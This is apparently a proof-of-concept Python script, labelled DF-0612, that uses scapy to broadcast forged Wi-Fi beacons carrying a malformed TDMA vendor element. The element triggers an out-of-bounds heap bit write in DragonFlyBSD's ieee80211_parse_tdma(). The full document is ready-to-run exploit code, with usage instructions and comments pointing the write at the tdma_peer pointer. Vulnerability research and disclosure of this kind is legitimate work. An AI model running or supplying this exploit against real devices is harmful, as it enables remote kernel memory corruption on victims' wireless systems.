#!/usr/bin/env python3
# DF-0612 PoC: triggers heap OOB setbit write in ieee80211_parse_tdma()
# on a DragonFlyBSD TDMA-mode vap that scans+joins this forged BSS.
#
# Run: sudo python3 inject_tdma_beacon.py wlan0mon <target_ssid>
#
# Requires: scapy (`pip install scapy`) and an 802.11 monitor+inject-capable
# radio (e.g. Atheros ath9k) within range of the victim's TDMA link.
#
# Requires physical WiFi hardware — NOT reproducible in QEMU.

import struct, sys

try:
    from scapy.all import RadioTap, Dot11, Dot11Beacon, Dot11Elt, Raw, sendp
except ImportError:
    sys.exit("scapy not installed: pip install scapy")

IFACE = sys.argv[1] if len(sys.argv) > 1 else "wlan0mon"
SSID  = sys.argv[2].encode() if len(sys.argv) > 2 else b"test_tdma"
BSSID = "00:11:22:33:44:55"

# TDMA vendor IE: id=221, len=22, OUI=00:03:7f, type=01, subtype=01,
# version=2, slot=64 (OOB: hits ts->tdma_peer byte 0), slotcnt=2 (valid),
# slotlen=100 (10ms, valid), bintval=5, inuse=0x01, pad, tstamp.
#
# tdma_slot=64 -> setbit(ts->tdma_inuse, 64) -> ts->tdma_inuse[8]
# which is 8 bytes past the 1-byte tdma_inuse[] array -> lands in
# tdma_peer pointer.
SLOT = 64                       # 8..255 -> OOB write; 64 targets tdma_peer

payload = (b"\x00\x03\x7f"            # OUI
           + bytes([0x01, 0x01, 2])    # type, subtype, version
           + bytes([SLOT, 2])          # slot (OOB!), slotcnt
           + struct.pack("<H", 100)    # slotlen (100us units)
           + bytes([5, 0x01])          # bintval, inuse
           + b"\x00" * 2 + b"\x00" * 8)  # pad + tstamp
tdma_ie = bytes([221, len(payload)]) + payload

beacon = (Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff",
                addr2=BSSID, addr3=BSSID)
          / Dot11Beacon(cap=0x21)
          / Dot11Elt(ID=0, info=SSID)
          / Dot11Elt(ID=1, info=b"\x82\x84\x8b\x96")
          / Raw(load=tdma_ie))

print(f"[*] Injecting forged TDMA beacon (slot={SLOT}) for SSID "
      f"{SSID.decode()!r} on {IFACE}")
print(f"[*] tdma_slot={SLOT} -> setbit(ts->tdma_inuse, {SLOT}) "
      f"-> ts->tdma_inuse[{SLOT // 8}] (OOB, {SLOT // 8} bytes past array)")
print("[*] Ctrl-C to stop")
sendp(RadioTap() / beacon, iface=IFACE, inter=0.1, loop=1)
